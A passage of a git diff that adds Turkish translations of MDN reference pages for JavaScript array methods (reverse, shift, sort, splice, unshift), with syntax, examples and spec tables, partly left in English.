Array.prototype.reverse() +slug: Web/JavaScript/Reference/Global_Objects/Array/reverse +tags: + - JavaScript + - dizi ters çevirme + - fonksiyon +translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse +--- +<div>{{JSRef}}</div> + +<p><code><strong>reverse()</strong></code> metodu dizi elemanlarını tersten sıralar . Dizinin ilk elemanı son eleman olur, son elemanı ilk eleman olur.</p> + +<div>{{EmbedInteractiveExample("pages/js/array-reverse.html")}}</div> + + + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><var>a</var>.reverse()</pre> + +<h3 id="Dönen_Değer">Dönen Değer</h3> + +<p>Ters dizi.</p> + +<h2 id="Açıklama">Açıklama</h2> + +<p><code>reverse</code> metodu dizinin olduğu halini kalıcı olarak değiştirir ve değiştirilmiş diziyi döndürür.</p> + +<p><code>reverse</code> bilinçli olarak generic metodtur; bu şekilde dizilere benzeyen nesneler <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call">çağrılabilir </a>veya <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">uygulanabilir</a>. Bir dizi ardışık, sıfır tabanlı sayısal özellikte sonuncuyu yansıtan <code>length </code>özelliği içermeyen nesneler anlamlı bir şekilde davranmayabilir.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Bir_dizideki_öğeleri_tersine_çevirme">Bir dizideki öğeleri tersine çevirme</h3> + +<p>Aşağıdaki örnek, üç öğe içeren bir <code>a </code>dizisi oluşturur, ardından diziyi tersine çevirir. <code>reverse()</code> çağrısı, ters çevrilmiş <code>a </code>dizisine bir referans döndürür.</p> + +<pre class="brush: js">const a = [1, 2, 3]; + +console.log(a); // [1, 2, 3] + +a.reverse(); + +console.log(a); // [3, 2, 1] + +</pre> + +<h3 id="Dizi_benzeri_bir_nesnedeki_öğeleri_tersine_çevirme">Dizi benzeri bir nesnedeki öğeleri tersine çevirme</h3> + +<p>Aşağıdaki örnek, üç öğe ve length özelliği içeren dizi benzeri bir nesne <code>a </code>oluşturur, sonra dizi benzeri nesneyi tersine çevirir. <code>reverse ()</code> çağrısı, ters dizi benzeri nesneye <code>a </code>bir referans döndürür.</p> + +<pre class="brush: js">const a = {0: 1, 1: 2, 2: 3, length: 3}; + +console.log(a); // {0: 1, 1: 2, 2: 3, length: 3} + +Array.prototype.reverse.call(a); //same syntax for using apply() + +console.log(a); // {0: 3, 1: 2, 2: 1, length: 3} +</pre> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Özellik</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.1.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.4.8', 'Array.prototype.reverse')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td> + <td>{{Spec2('ES6')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Array.reverse")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Array.prototype.join()")}}</li> + <li>{{jsxref("Array.prototype.sort()")}}</li> + <li>{{jsxref("TypedArray.prototype.reverse()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/shift/index.html b/files/tr/web/javascript/reference/global_objects/array/shift/index.html new file mode 100644 index 0000000000..3a85e72ca7 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/shift/index.html @@ -0,0 +1,112 @@ +--- +title: Array.prototype.shift() +slug: Web/JavaScript/Reference/Global_Objects/Array/shift +tags: + - Dizi + - JavaScript + - Prototype + - metod +translation_of: Web/JavaScript/Reference/Global_Objects/Array/shift +--- +<div>{{JSRef}}</div> + +<p><code><strong>shift()</strong></code> metodu bir dizinin <strong>ilk </strong>elementini diziden kaldırır ve kaldırılmış bu elementi geri döndürür. Bu metod dizinin boyunu değiştirir.</p> + +<div>{{EmbedInteractiveExample("pages/js/array-shift.html")}}</div> + +<p class="hidden">Bu wtkileşimli örneğin kaynağı bir GitHub deposunda saklanmaktadır.Eğer bu etkileşimli örnekler projesine katkıda bulunmak isterseniz, lütfen <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> klonlayın ve bize bir "pull request" (çekme talebi) gönderin.</p> + +<h2 id="Dildizimi">Dildizimi</h2> + +<pre class="syntaxbox"><var>arr</var>.shift()</pre> + +<h3 id="Dönen_değer">Dönen değer</h3> + +<p>Diziden kaldırılan element; eğer dizi boş ise de {{jsxref("undefined")}} değerini döndürür.</p> + +<h2 id="Tanımlama">Tanımlama</h2> + +<p><code>shift</code> metodu sıfırıncı indeksteki elementi kaldırır ve ardışık indeksleri aşağı düşürür, daha sonra kaldırılan değeri geri döndürür. Eğer metod uygulandığında {{jsxref("Array.length", "length")}} değeri 0 ise, {{jsxref("undefined")}} geri döndürür.</p> + +<p><code>shift</code> özellikle geniş kapsamlıdır; bu metod {{jsxref("Function.call", "called", "", 1)}} veya {{jsxref("Function.apply", "applied", "", 1)}} dizilere benzeyen nesnelere de uygulanabilir. Ardışık bir serinin sonuncusu özelliği olan, sıfır-temelli, sayısal özellikleri olan ancak <code>length</code> özelliği bulundurmayan nesneler, anlamli bir davranış göstermeyebilirler.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Bir_diziden_bir_elementi_kaldırmak">Bir diziden bir elementi kaldırmak</h3> + +<p>Aşağıdaki kod <code>myFish</code> dizisinin ilk elementini kaldırmadan önceki ve kaldırdıktan sonraki halini göstermektedir. Aynı zamanda kaldırılan elementi de gösterir:</p> + +<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'surgeon']; + +console.log('myFish öncesinde:', JSON.stringify(myFish)); +// myFish öncesinde: ['angel', 'clown', 'mandarin', 'surgeon'] + +var shifted = myFish.shift(); + +console.log('myFish sonrasında:', myFish); +// myFish sonrasında: ['clown', 'mandarin', 'surgeon'] + +console.log('Bu element kaldırıldı:', shifted); +// Bu element kaldırıldı: angel +</pre> + +<h3 id="shift()_metodunu_while_döngüsü_içerisinde_kullanmak">shift() metodunu while döngüsü içerisinde kullanmak</h3> + +<p>shift metodu sıklıkla while döngüsü içerisindeki şartlarda kullanılır . Takip eden örnekte her döngü dizi boşalana kadar bir sonraki elementi diziden kaldıracaktır:</p> + +<pre class="brush: js">var isimler = ["Andrew", "Edward", "Paul", "Chris" ,"John"]; + +while( (i = isimler.shift()) !== undefined ) { + console.log(i); +} +// Andrew, Edward, Paul, Chris, John +</pre> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Özellik</th> + <th scope="col">Durum</th> + <th scope="col">Açıklama</th> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>İlk tanımlama. JavaScript 1.2. de uygulandı.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.4.9', 'Array.prototype.shift')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.prototype.shift', 'Array.prototype.shift')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.shift', 'Array.prototype.shift')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<div> +<div class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden üretilmiştir. Eğer verilere katkıda bulunmak isterseniz, lütfen <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> bakın ve bize bir "pull request" (çekme talebi) gönderin..</div> + +<p>{{Compat("javascript.builtins.Array.shift")}}</p> +</div> + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li>{{jsxref("Array.prototype.push()")}}</li> + <li>{{jsxref("Array.prototype.pop()")}}</li> + <li>{{jsxref("Array.prototype.unshift()")}}</li> + <li>{{jsxref("Array.prototype.concat()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/sort/index.html b/files/tr/web/javascript/reference/global_objects/array/sort/index.html new file mode 100644 index 0000000000..783a3048f3 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/sort/index.html @@ -0,0 +1,251 @@ +--- +title: Array.prototype.sort() +slug: Web/JavaScript/Reference/Global_Objects/Array/sort +tags: + - Dizi + - Dizi methodu + - Sıralama + - metod +translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort +--- +<div>{{JSRef}}</div> + +<p><code><strong>sort()</strong></code> metodu dizi ögelerini sıralayarak, ilgili dizini sıralanmış olarak geri döndürür. The default sort order is ascending, built upon converting the elements into strings, then comparing their sequences of UTF-16 code units values.</p> + +<p>The time and space complexity of the sort cannot be guaranteed as it depends on the implementation.</p> + +<div>{{EmbedInteractiveExample("pages/js/array-sort.html")}}</div> + + + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><var>arr</var>.sort(<var>[compareFunction]</var>) +</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>compareFunction</code> {{optional_inline}}</dt> + <dd>Specifies a function that defines the sort order. If omitted, the array elements are converted to strings, then sorted according to each character's <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Unicode">Unicode</a> code point value. + <dl> + <dt><code>firstEl</code></dt> + <dd>The first element for comparison.</dd> + <dt><code>secondEl</code></dt> + <dd>The second element for comparison.</dd> + </dl> + </dd> +</dl> + +<h3 id="Geri_dönen_değer">Geri dönen değer</h3> + +<p>The sorted array. Note that the array is sorted <em><a href="https://en.wikipedia.org/wiki/In-place_algorithm">in place</a></em>, and no copy is made.</p> + +<h2 id="Açıklama">Açıklama</h2> + +<p>If <code>compareFunction</code> is not supplied, all non-<code>undefined</code> array elements are sorted by converting them to strings and comparing strings in UTF-16 code units order. For example, "banana" comes before "cherry". In a numeric sort, 9 comes before 80, but because numbers are converted to strings, "80" comes before "9" in the Unicode order. All <code>undefined</code> elements are sorted to the end of the array.</p> + +<div class="blockIndicator note"> +<p><strong>Note :</strong> In UTF-16, Unicode characters above <code>\uFFFF</code> are encoded as two surrogate code units, of the range <code>\uD800</code>-<code>\uDFFF</code>. The value of each code unit is taken separately into account for the comparison. Thus the character formed by the surrogate pair <code>\uD655\uDE55</code> will be sorted before the character <code>\uFF3A</code>.</p> +</div> + +<p>If <code>compareFunction</code> is supplied, all non-<code>undefined</code> array elements are sorted according to the return value of the compare function (all <code>undefined</code> elements are sorted to the end of the array, with no call to <code>compareFunction</code>). If <code>a</code> and <code>b</code> are two elements being compared, then:</p> + +<ul> + <li>If <code>compareFunction(a, b)</code> returns less than 0, sort <code>a</code> to an index lower than <code>b</code> (i.e. <code>a</code> comes first).</li> + <li>If <code>compareFunction(a, b)</code> returns 0, leave <code>a</code> and <code>b</code> unchanged with respect to each other, but sorted with respect to all different elements. Note: the ECMAscript standard does not guarantee this behavior, thus, not all browsers (e.g. Mozilla versions dating back to at least 2003) respect this.</li> + <li>If <code>compareFunction(a, b)</code> returns greater than 0, sort <code>b</code> to an index lower than <code>a</code> (i.e. <code>b</code> comes first).</li> + <li><code>compareFunction(a, b)</code> must always return the same value when given a specific pair of elements <code>a</code> and <code>b</code> as its two arguments. If inconsistent results are returned, then the sort order is undefined.</li> +</ul> + +<p>So, the compare function has the following form:</p> + +<pre class="brush: js">function compare(a, b) { + if (a is less than b by some ordering criterion) { + return -1; + } + if (a is greater than b by the ordering criterion) { + return 1; + } + // a must be equal to b + return 0; +} +</pre> + +<p>To compare numbers instead of strings, the compare function can simply subtract <code>b</code> from <code>a</code>. The following function will sort the array in ascending order (if it doesn't contain <code>Infinity</code> and <code>NaN</code>):</p> + +<pre class="brush: js">function compareNumbers(a, b) { + return a - b; +} +</pre> + +<p>The <code>sort</code> method can be conveniently used with {{jsxref("Operators/function", "function expressions", "", 1)}}:</p> + +<pre class="brush: js">var numbers = [4, 2, 5, 1, 3]; +numbers.sort(function(a, b) { + return a - b; +}); +console.log(numbers); + +// [1, 2, 3, 4, 5] +</pre> + +<p>ES2015 provides {{jsxref("Functions/Arrow_functions", "arrow function expressions", "", 1)}} with even shorter syntax.</p> + +<pre class="brush: js">let numbers = [4, 2, 5, 1, 3]; +numbers.sort((a, b) => a - b); +console.log(numbers); + +// [1, 2, 3, 4, 5]</pre> + +<p>Objects can be sorted, given the value of one of their properties.</p> + +<pre class="brush: js">var items = [ + { name: 'Edward', value: 21 }, + { name: 'Sharpe', value: 37 }, + { name: 'And', value: 45 }, + { name: 'The', value: -12 }, + { name: 'Magnetic', value: 13 }, + { name: 'Zeros', value: 37 } +]; + +// sort by value +items.sort(function (a, b) { + return a.value - b.value; +}); + +// sort by name +items.sort(function(a, b) { + var nameA = a.name.toUpperCase(); // ignore upper and lowercase + var nameB = b.name.toUpperCase(); // ignore upper and lowercase + if (nameA < nameB) { + return -1; + } + if (nameA > nameB) { + return 1; + } + + // names must be equal + return 0; +});</pre> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Creating_displaying_and_sorting_an_array">Creating, displaying, and sorting an array</h3> + +<p>The following example creates four arrays and displays the original array, then the sorted arrays. The numeric arrays are sorted without a compare function, then sorted using one.</p> + +<pre class="brush: js">var stringArray = ['Blue', 'Humpback', 'Beluga']; +var numericStringArray = ['80', '9', '700']; +var numberArray = [40, 1, 5, 200]; +var mixedNumericArray = ['80', '9', '700', 40, 1, 5, 200]; + +function compareNumbers(a, b) { + return a - b; +} + +console.log('stringArray:', stringArray.join()); +console.log('Sorted:', stringArray.sort()); + +console.log('numberArray:', numberArray.join()); +console.log('Sorted without a compare function:', numberArray.sort()); +console.log('Sorted with compareNumbers:', numberArray.sort(compareNumbers)); + +console.log('numericStringArray:', numericStringArray.join()); +console.log('Sorted without a compare function:', numericStringArray.sort()); +console.log('Sorted with compareNumbers:', numericStringArray.sort(compareNumbers)); + +console.log('mixedNumericArray:', mixedNumericArray.join()); +console.log('Sorted without a compare function:', mixedNumericArray.sort()); +console.log('Sorted with compareNumbers:', mixedNumericArray.sort(compareNumbers)); +</pre> + +<p>This example produces the following output. As the output shows, when a compare function is used, numbers sort correctly whether they are numbers or numeric strings.</p> + +<pre>stringArray: Blue,Humpback,Beluga +Sorted: Beluga,Blue,Humpback + +numberArray: 40,1,5,200 +Sorted without a compare function: 1,200,40,5 +Sorted with compareNumbers: 1,5,40,200 + +numericStringArray: 80,9,700 +Sorted without a compare function: 700,80,9 +Sorted with compareNumbers: 9,80,700 + +mixedNumericArray: 80,9,700,40,1,5,200 +Sorted without a compare function: 1,200,40,5,700,80,9 +Sorted with compareNumbers: 1,5,9,40,80,200,700 +</pre> + +<h3 id="ASCII_olmayan_karakterleri_sıralama">ASCII olmayan karakterleri sıralama</h3> + +<p>For sorting strings with non-ASCII characters, i.e. strings with accented characters (e, é, è, a, ä, etc.), strings from languages other than English, use {{jsxref("String.localeCompare")}}. This function can compare those characters so they appear in the right order.</p> + +<pre class="brush: js">var items = ['réservé', 'premier', 'communiqué', 'café', 'adieu', 'éclair']; +items.sort(function (a, b) { + return a.localeCompare(b); +}); + +// items is ['adieu', 'café', 'communiqué', 'éclair', 'premier', 'réservé'] +</pre> + +<h3 id="Map_ile_sıralama">Map ile sıralama</h3> + +<p>The <code>compareFunction</code> can be invoked multiple times per element within the array. Depending on the <code>compareFunction</code>'s nature, this may yield a high overhead. The more work a <code>compareFunction</code> does and the more elements there are to sort, it may be more efficient to use <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a> for sorting. The idea is to traverse the array once to extract the actual values used for sorting into a temporary array, sort the temporary array, and then traverse the temporary array to achieve the right order.</p> + +<pre class="brush: js" dir="rtl">// the array to be sorted +var list = ['Delta', 'alpha', 'CHARLIE', 'bravo']; + +// temporary array holds objects with position and sort-value +var mapped = list.map(function(el, i) { + return { index: i, value: el.toLowerCase() }; +}) + +// sorting the mapped array containing the reduced values +mapped.sort(function(a, b) { + if (a.value > b.value) { + return 1; + } + if (a.value < b.value) { + return -1; + } + return 0; +}); + +// container for the resulting order +var result = mapped.map(function(el){ + return list[el.index]; +}); +</pre> + +<p>There is an open source library available called <a href="https://null.house/open-source/mapsort">mapsort</a> which applies this approach.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.sort', 'Array.prototype.sort')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Array.sort")}}</p> +</div> + +<h2 id="Bunlarada_göz_at">Bunlarada göz at</h2> + +<ul> + <li>{{jsxref("Array.prototype.reverse()")}}</li> + <li>{{jsxref("String.prototype.localeCompare()")}}</li> + <li><a href="https://v8.dev/blog/array-sort">About the stability of the algorithm used by V8 engine</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/splice/index.html b/files/tr/web/javascript/reference/global_objects/array/splice/index.html new file mode 100644 index 0000000000..b853160481 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/splice/index.html @@ -0,0 +1,149 @@ +--- +title: Array.prototype.splice() +slug: Web/JavaScript/Reference/Global_Objects/Array/splice +tags: + - Dizi + - Referans + - metod + - prototip +translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice +--- +<div>{{JSRef}}</div> + +<p><code><strong>splice()</strong></code> metodu; bir Dizi'nin içeriklerini, diziye ait öğeleri kaldırarak veya yeni öğeler ekleyerek ve/veya mevcut öğeleri silerek değiştirir.</p> + +<div>{{EmbedInteractiveExample("pages/js/array-splice.html")}}</div> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><var>array</var>.splice(<var>başlangıç[</var>, <var>silinecekAdet[</var>, <var>item1[</var>, <var>item2[</var>, <em>...]]]]</em>) +</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>başlangıç</code></dt> + <dd>Dizi'yi değiştirmek için başlanılacak indeks (0 kökenli indeks). Dizi'nin uzunluğundan daha büyük ise, başlangıç indeksi Dizi'nin uzunluğuna ayarlanacak. Negatif ise, Dizi'nin sonundaki öğeler toplamından başlayacak (-1 kökenli indeks) ve eğer kesin değer Dizi'nin uzunluğundan büyük ise, başlangıç değeri 0 olacak.</dd> + <dt><code>silinecekAdet</code> {{optional_inline}}</dt> + <dd>Eski Dizi'nden silinecek öğelerin sayısını belirten bir tamsayı.</dd> + <dd><code>silinecekAdet</code> belirlenmemiş ise, veya değeri <code>dizi.uzunluk - başlangıç</code> 'tan büyük ise (daha sade bir tanımı, <code>başlangıç</code> başlayarak, Dizi'nde kalmış öğelerin toplam sayısından fazla ise), <code>start</code> sayısından Dizi'nin sonuna kadar yer alan bütün öğeler silinecek.</dd> + <dd><code>silinecekAdet</code> 0 veya negatif ise, hiçbir öğe silinmeyecek. Bu durumda, en az yeni bir öğe tanımlamalısın (aşağı bkz.).</dd> + <dt><code>item1, item2, <em>...</em></code> {{optional_inline}}</dt> + <dd>Dizi'ne eklenecek olan öğeler, <code>başlangıç</code> indeksinden başlayarak. hiçbir öğe tanımlamaz isen, <code>splice()</code> sadece Dizi'den öğeleri kaldıracak.</dd> +</dl> + +<h3 id="Geri_dönüş_değeri">Geri dönüş değeri</h3> + +<p>Silinen öğeleri barındıran bir Dizi. Sadece bir öğe silinmiş ise, tek öğeli bir Dizi geri dönülecek. Hiçbir öğe silinmemiş ise, boş bir Dizi dönecek.</p> + +<h2 id="Açıklama">Açıklama</h2> + +<p>Sileceğin öğe sayısından farklı bir sayıda öğe tanımlıyorsan, çağrının sonunda Dizi farklı bir uzunluğa sahip olacak.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="2_indeksinden_önce_0_öğe_sil_ve_drum_öğesini_ekle">2 indeksinden önce 0 öğe sil, ve "drum" öğesini ekle</h3> + +<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; +var removed = myFish.splice(2, 0, 'drum'); + +// myFish dizi öğeleri ["angel", "clown", "drum", "mandarin", "sturgeon"] +// silinen [], hiçbir öğe silinmedi +</pre> + +<h3 id="3_indeksinden_1_öğe_sil">3 indeksinden 1 öğe sil</h3> + +<pre class="brush: js">var myFish = ['angel', 'clown', 'drum', 'mandarin', 'sturgeon']; +var removed = myFish.splice(3, 1); + +// silinen ["mandarin"] +// myFish Dizi'si ["angel", "clown", "drum", "sturgeon"] +</pre> + +<h3 id="2_indeksinden_1_öğe_sil_ve_trumpet_öğesini_ekle">2 indeksinden 1 öğe sil, ve "trumpet" öğesini ekle</h3> + +<pre class="brush: js">var myFish = ['angel', 'clown', 'drum', 'sturgeon']; +var silinen = myFish.splice(2, 1, 'trumpet'); + +// myFish is ["angel", "clown", "trumpet", "sturgeon"] +// silinen ["drum"]</pre> + +<h3 id="0_indeksinden_başlayarak_2_öğe_sil_parrot_anemone_ve_blue_öğelerini_ekle">0 indeksinden başlayarak 2 öğe sil, "parrot", "anemone" ve "blue" öğelerini ekle</h3> + +<pre class="brush: js">var myFish = ['angel', 'clown', 'trumpet', 'sturgeon']; +var silinen = myFish.splice(0, 2, 'parrot', 'anemone', 'blue'); + +// myFish is ["parrot", "anemone", "blue", "trumpet", "sturgeon"] +// silinen ["angel", "clown"]</pre> + +<h3 id="2_indeksinden_2_öğe_sil">2 indeksinden 2 öğe sil</h3> + +<pre class="brush: js">var myFish = ['parrot', 'anemone', 'blue', 'trumpet', 'sturgeon']; +var silinen = myFish.splice(myFish.length - 3, 2); + +// myFish is ["parrot", "anemone", "sturgeon"] +// silinen ["blue", "trumpet"]</pre> + +<h3 id="-2_indeksinden_1_öğe_sil">-2 indeksinden 1 öğe sil</h3> + +<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; +var silinen = myFish.splice(-2, 1); + +// myFish ["angel", "clown", "sturgeon"] +// silinen ["mandarin"]</pre> + +<h3 id="2_indeksinden_sonra_bütün_öğeleri_sil_2_indeksi_de_dahil">2 indeksinden sonra bütün öğeleri sil (2 indeksi de dahil)</h3> + +<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; +var silinen = myFish.splice(2); + +// myFish ["angel", "clown"] +// silinen ["mandarin", "sturgeon"]</pre> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Özellik</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Initial definition. Implemented in JavaScript 1.2.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.4.12', 'Array.prototype.splice')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.prototype.splice', 'Array.prototype.splice')}}</td> + <td>{{Spec2('ES6')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.splice', 'Array.prototype.splice')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Array.splice")}}</p> +</div> + +<h2 id="Bkz.">Bkz.</h2> + +<ul> + <li>{{jsxref("Array.prototype.push()", "push()")}} / {{jsxref("Array.prototype.pop()", "pop()")}} — add/remove elements from the end of the array</li> + <li>{{jsxref("Array.prototype.unshift()", "unshift()")}} / {{jsxref("Array.prototype.shift()", "shift()")}} — add/remove elements from the beginning of the array</li> + <li>{{jsxref("Array.prototype.concat()", "concat()")}} — returns a new array comprised of this array joined with other array(s) and/or value(s)</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/unshift/index.html b/files/tr/web/javascript/reference/global_objects/array/unshift/index.html new file mode 100644 index 0000000000..a34d4d8713 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/unshift/index.html @@ -0,0 +1,114 @@ +--- +title: Array.prototype.unshift() +slug: Web/JavaScript/Reference/Global_Objects/Array/unshift +translation_of: Web/JavaScript/Reference/Global_Objects/Array/unshift +--- +<div>{{JSRef}}</div> + +<p><code><strong>unshift()</strong></code> metodu dizinin başına bir veya daha fazla element ekler ve yeni dizinin uzunluğunu size geri döndürür.</p> + +<div>{{EmbedInteractiveExample("pages/js/array-unshift.html")}}</div> + +<h2 id="Sözdizimi_Kuralları">Sözdizimi Kuralları</h2> + +<pre class="syntaxbox"><em>dizi</em>.unshift(<var>element1</var>[, ...[, <var>elementN</var>]])</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>element<em>N</em></code></dt> + <dd>Dizinin başına eklenecek değer.</dd> +</dl> + +<h3 id="Döndürülen_değer">Döndürülen değer</h3> + +<p>Üzerinde işlem yapılan dizinin yeni {{jsxref("Array.length", "length")}} değerini verir.</p> + +<h2 id="Açıklama">Açıklama</h2> + +<p><code>unshift</code><font><font>, girilen değerleri bir dizinin başına ekler.</font></font></p> + +<p><code>unshift</code><font><font>kasıtlı olarak geneldir; </font><font>bu yöntem, benzer nesnelere </font></font>{{jsxref("Function.call", "called", "", 1)}} veya<font><font> </font></font>{{jsxref("Function.apply", "applied", "", 1)}} <font><font>olabilir. diziler. </font><font>Birbirini </font></font><code>length</code> <font><font>ardışık, sıfıra dayalı sayısal özellikler dizisinde sonuncuyu yansıtan </font><font>bir </font><font>özellik </font><font>içermeyen nesneler </font><font>, anlamlı şekilde davranamazlar.</font></font></p> + +<p><font><font>Birden fazla eleman parametre olarak girildiğinde, elemanlar parametre sırasına göre dizinin başına yerleştirilmektedir. Parametreleri ayrı unshift metodlarıyla eklemek ve sadece bir unshift metodunda eklemek aynı sonucu vermez.</font></font></p> + +<pre class="syntaxbox">let dizi = [4, 5, 6]; +dizi.unshift(1, 2, 3); +console.log(dizi); +// [<strong>1, 2, 3</strong>, 4, 5, 6] + +dizi = [4, 5, 6]; // dizi sıfırlanır. + +dizi.unshift(1); +dizi.unshift(2); +dizi.unshift(3); + +console.log(dizi); +// [<strong>3, 2, 1</strong>, 4, 5, 6] +</pre> + +<h2 id="Örnekler">Örnekler</h2> + +<pre class="brush: js">let dizi = [1, 2]; + +dizi.unshift(0); // dizinin uzunluğu 3 olur. +// dizi: [0, 1, 2] + +dizi.unshift(-2, -1); // dizinin uzunluğu 5 olur. +// dizi: [-2, -1, 0, 1, 2] + +dizi.unshift([-4, -3]); // dizinin uzunluğu 6 olur. +// dizi: [[-4, -3], -2, -1, 0, 1, 2] + +dizi.unshift([-7, -6], [-5]); // dizinin uzunluğu 8 olur. +// dizi: [ [-7, -6], [-5], [-4, -3], -2, -1, 0, 1, 2 ] +</pre> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Özellik</th> + <th scope="col">Durum</th> + <th scope="col">Açıklama</th> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Initial definition. Implemented in JavaScript 1.2.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.4.13', 'Array.prototype.unshift')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}</td> + <td>{{Spec2('ES6')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> + +<div> +<div class="hidden"><font>Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden üretilmiştir. </font><font>Verilere katkıda bulunmak istiyorsanız, lütfen</font><font><font> </font></font><a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> adresini ziyaret edin ve bize istek gönderin.</div> + +<p>{{Compat("javascript.builtins.Array.unshift")}}</p> +</div> + +<h2 id="Benzer_Makaleler">Benzer Makaleler</h2> + +<ul> + <li>{{jsxref("Array.prototype.push()")}}</li> + <li>{{jsxref("Array.prototype.pop()")}}</li> + <li>{{jsxref("Array.prototype.shift()")}}</li> + <li>{{jsxref("Array.prototype.concat()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/values/index.html b/files/tr/web/javascript/reference/global_objects/array/values/index.html new file mode 100644 index 0000000000..1c949e93a5 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/values/index.html @@ -0,0 +1,86 @@ +--- +title: Array.prototype.values() +slug: Web/JavaScript/Reference/Global_Objects/Array/values +tags: + - Dizi yineleyici + - Iterator + - JavaScript + - metod + - prototip +translation_of: 